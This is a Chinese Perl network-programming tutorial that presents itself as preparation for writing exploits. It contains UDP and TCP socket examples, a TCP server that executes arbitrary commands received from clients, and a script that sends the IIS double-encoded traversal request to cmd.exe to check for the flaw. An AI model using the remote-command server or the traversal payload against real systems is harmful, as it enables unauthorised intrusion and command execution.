Perl很强大,不仅能开发CGI方面的程序,还可以用它进行网络程序的开发。Perl使网络编程更简单,开发速度更快。目前Perl应用范围除了系统维护,程序运行时配置CGI(现在应用的很少了),便是用来进行hacker脚本的编写。Perl脚本的特点是 “简练而强大”,非常适合写Exploit。在网络上可以找到很多国外hacker用Perl写的Exploit程序,而在国内就少了很多。由于大部分Exploit程序都是网络方面的程序,因此本文将介绍如何使用Perl进行网络编程,通过一些小的例子来让大家熟悉Perl的网络编程。本文不会涉及到具体漏洞利用的脚本,只是把Perl网络编程的一些基本概念介绍给大家。
希望大家能从本文中得到一些您需要的知识。
本文的约定:使用的IP地址为本地地址,所有程序均在ActivePerl5.61版测试通过。
本地IP:127.0.0.1
一、 几个网络方面的基本概念
本文主要针对初学者,所以本文在概念介绍上也将尽量使语言描述的通俗易懂,本文后面要涉及到的几个网络方面的基本概念如下:
协议:所谓的协议就是对进行通讯传输的2台计算机之间的应该共同遵守的一个行为准则或称行为规范。
TCP/IP协议:是定义了网络传输的一个协议。
UDP:用户数据报协议。UDP协议是TCP/IP协议组中传输层的协议,负责对网络传输进行控制。UDP具有不可靠性,但是手续简单。
套接字:套接字是一个类似于文件的句柄.通过建立套接字就可以对套接字进行读写操作。
二、走进Perl
Perl的函数Socket的格式为:Socket(FILE,Domain,Type,Protocol);
其中:
FILE 绑定一个套接字句柄(类似于打开文件的句柄);
Domain 表示套接字的协议域类型。它可以定义为Internet域,其值为2,也可以定义为UNIX域,如果把这个变量赋值为1表示域的类型为UNIX域。如果这个变量付值为2,则表示定义类型为Internet。我们常用的是的套接字协议族为Internet协议族。
Type 表示套接字类型,定义为SOCK_STREAM类型,表示的是基于流传输模式的TCP套接字。定义为SOCK_DGRAM类型,表示为基于简单数据传递的UDP套接字。
Protocol 表示套接字的协议号,这个协议号可以通过Perl内置函数getprotobyname()得到。
三、第一个例子
例子介绍:
下面这个程序实是一个简单的使用udp协议的服务器程序,服务端程序在端口上监听,当有客户连接后它将返回一个数据给客户程序。
#注:如图1-1
1.UDP程序服务端
<1 #!/usr/bin/Perl
<2 use strict;
<3 my $PF_INET=2;
<4 my $SOCK_DGRAM=2;
<5 my $port=2222;
<6 my $proto=getprotobyname('udp');
<7 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<8 my ($Cmd,$test);
<9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
<10 bind (SOCKET,$addres);
<11 $test="test/n";
<12 while(1){
<13 my $rip=recv (SOCKET,$Cmd,100,0);
<14 send (SOCKET,$test,0,$rip);
<15 print "$Cmd";
<16 }
原代码解析:
<1 Perl解释器的路径。
<2 使用严格的语法书写程序。
<3 定义为Internet域套接字。
<4 定义套接字类型为UDP。
<5 定义程序的进程端口(这样客户程序才能连接到远程的服务程序)。
<6 得到协议号,这里是使用getprotobyname函数得到UDP的协议号。
<7 声明变量。
<8 $addres定义了一个机器的地址(这个地址就是机器辨认其他机器的标志),这个地址为16字节.利用函数pack()把他转化为2进制格式.($PF_INET)协议域是一个16位(2字节)无符号短整数值;($port)进程端口是一个16位短整形;IP地址是4个8位无符号字符.因为一个完全的地址值是16字节,所以必须要用8个空字节补齐。
<9 建立一个套接字。
<10 绑定一个套接字(因为一个外部的机器必须知道你的具体位置,所以程序必须建立一个进程的端口号,这样外部的机器才能连接到这个服务程序)
<11~16 建立一个真循环,不停地接收外部消息,通过recv函数得到消息(这个函数的返回值是远程客户的地址,通过该地址可以进行服务器和客户进行数据传输),在通过send函数与远程主机进行通讯。
四、第二个例子
例子介绍:
下面的程序是一个使用udp协议的客户端程序,客户端程序主动连接服务端,如果网络连通或不发生数据报丢失,将会得到服务器端的返回的数据。
下面我们看看使用tcp的例子,客户端程序是远程执行服务端命令的C/S结构的程序。服务端程序绑定一个端口,处理客户断的请求,并把处理后的数据返回给客户端,客户端程序通过发送一条消息给远程主机,并执行远程主机的dos命令,得到远程服务器的返回消息。
下面我们来看看代码:
2.UDP程序客户端
<1 #!/usr/bin/Perl
<2 use strict;
<3 my $PF_INET=2;
<4 my $SOCK_DGRAM=2;
<5 my $port=2222;
<6 my $proto=getprotobyname('udp');
<7 my $data;
<8 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<9 socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
<10 bind (SOCKET,$addres);
<11 send (SOCKET,$ARGV[0],0,$addres) or die "send false";
<12 recv (SOCKET,$data,200,0);
<13 print "$data/n";
<14 if ($data) {
<15 send (SOCKET,"Test",0,$addres) ;
<16 }
客户端程序非常简单,唯一不同的是不建立循环等待连接.
五、第三个例子
例子介绍:
下面的程序是使用tcp协议的服务端程序,当客户端程序连接服务端程序,服务端程序根据请求的数据返回服务端上的相应数据,这里是返回的是在服务端执行的dos命令的数据,例如c:/>client.pl /dir c:,将返回服务端执行dir c:后的数据给客户端程序。
3.Tcp程序服务端
<1 #!/usr/bin/Perl
<2 #testservers
<3 #servers.pl
<4 #
<5 use strict;
<6 my $face=qq~
<7 ##########################################
<8 #
<9 #Perl_CMD
<10 ##########################################
<11 ~;
<12 print $face;
<13 undef $face;
<14 my $port=23456;
<15 my $PF_INET=2;
<16 my $SOCK_STREAM=1;
<17 my $proto=getprotobyname("tcp");
<18 my $ADDR=pack ('SnC4x8',$PF_INET,$port,127,0,0,1);
<19 my $command;
<20 $|=1;
<21 socket (SERVERS,$PF_INET,$SOCK_STREAM,$proto) or die "can't build a socket";
<22 bind (SERVERS,$ADDR ) or die "can't bind a SOCK";
<23 listen(SERVERS,2);
<24 for ( ;my $paddr=accept(CLINET,SERVERS) ;) {
<25 recv (CLINET,$command,240,0);
<26 print $command;
<27 if ($command and $command=~/^/) {
<28 my @turndate=&dir($command);
<29 foreach my $onedate (@turndate) {
<30 send ( CLINET ,$onedate ,0);}
<31 }else{
<32 print CLINET "Error CMD format/n";
<33 }
<34
<35 }
<36 close CLIENT;
<37 sub dir {
<38 my $cmd=shift;
<39 $cmd=~s/^(.*)//;
<40 my @turncmd=`$cmd`;
<41 return @turncmd;
<42 }
原代码解析:
<1~13 定义一些程序中使用的变量,并赋初始值.使用use strict强制程序使用Perl的严格语法。
<14 定义服务端程序绑定的端口号。
<15 定义协议域为Internet类型。
<16 定义套接字类型为TCP。
<17 取得协议。
<18 对程序中使用的地址进行打包。
<19 定义一个取得客户端发来的数据的变量。
<20 关闭Perl的内部缓冲区,这样使我们的消息能够得到更高的优先级,立即把消息发送到远程主机。
<21 建立套接字。
<22 在本地绑定一个端口 ,这样远程的机器在连接程序的时候才能知道连接到底是哪个进程。
<23 允许在这个套接字上等待的队列数量。
<24 建立真循环,并接受请求,并把请求的地址绑定成一个文件句柄。
<25 通过accept函数得到句柄得到请求的数据。
<26 使用recv函数,取得连接的远程主机的消息。
<27 做判断,看是否是使用了内部约定的命令格式。
<28 执行命令。
<29~35 把处理后的数据返回给连接的客户端 。
<36 关闭与这个远程主机的连接。
<37~43 执行dos命令的子函数。
六、第四个例子
例子介绍:
下面的程序是使用tcp协议的客户端程序,当脚本servers.pl程序被运行后,它会在远程等待客户程序的连接,我们这里的clinet.pl脚本就是针对上面程序写的客户端程序。例如:在dos命令输入c:/>perl clinet.pl /dir c:/ 这样服务器将返回远程主机c:/的下的所有目录的名字。
4.客户端程序
Tcp Programming
<1 #!/usr/bin/Perl
<2 #testclinet
<3 #clinet.pl
<4 #
<5 use strict;
<6 my $port=23456;
<7 my $PF_INET=2;
<8 my $SOCK_STREAM=1;
<9 my $proto=getprotobyname("tcp");
<10 $|=1;
<11 my $ADDR=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<12 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket";
<13 connect (SOCKET,$ADDR) or die "cna't link";
<14 my $cmd=join ("/t",@ARGV);
<15 send (SOCKET,"$cmd",0);
<16 while(<SOCKET>) {
<17 print $_;
<18 };
原代码解析:
<1~9 得到请求主机的端口,取得程序使用协议域,套接字类型,协议号等。
<10 关闭缓冲,使数据立刻发送出去,而不是放在本地的Perl缓冲区里。
<11 转换IP地址。
<12 建立套接字。
<13 连接远程主机。
<15 发送消息到远程主机。
<16~18 对远程主机的响应进行处理。
七、一个测试IIS漏洞的例子
例子介绍:
下面的程序是通过连接远程主机的ip地址,通过与主机建立tcp连接,并发送http的内部命令get和特殊编码的数据来测试远程的IIS服务器是否存在漏洞.
5.测试IIS漏洞程序
<1 #!/Perl/bin/Perl -w
<2 use strict;
<3 my $port=80;
<4 my $PF_INET=2;
<5 my $SOCK_STREAM=1;
<6 my $proto=getprotobyname("tcp");
<7 my $open_or_close;
<8 $|=1;
<9 my $addres=pack('SnC4x8',$PF_INET,$port,127,0,0,1);
<10 socket (SOCKET,$PF_INET,$SOCK_STREAM,$proto) or die "cna't socket";
<11 connect (SOCKET,$addres) or die "cna't link";
<12 send (SOCKET,"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/
c+dir HTTP/1.0/n/n",0);
<13 while(<SOCKET>) {
<14 if (m/Directory/){
<15 $open_or_close=1;
<16 }
<17 }
<18 if ($open_or_close eq "1") {
<19 print "This IIS have the bug/n";
<20 }else{
<21 print "This IIS havn't the bug/n";
<21 }
原代码解析:
这里我只解析几个和实现验证IIS是否存在漏洞相关的程序片段。
<11 这里是连接远程主机的80端口(通常这个端口是分配给http服务)。
<12 通过与远程主机建立的套接字,发送一个http协议的命令“GET”给远程主机。
<13 得到远程主机返回的数据。
<14 进行测试,判断时候包含“Directory”字符,如果包含,就说明这个机器有这个漏洞。
<15~21 程序通过对变量$open_or_close的判断,验证IIS是否存在漏洞。当$open_or_close为”0”时表示IIS没有漏洞,为”1”时表示程序发现IIS存在漏洞。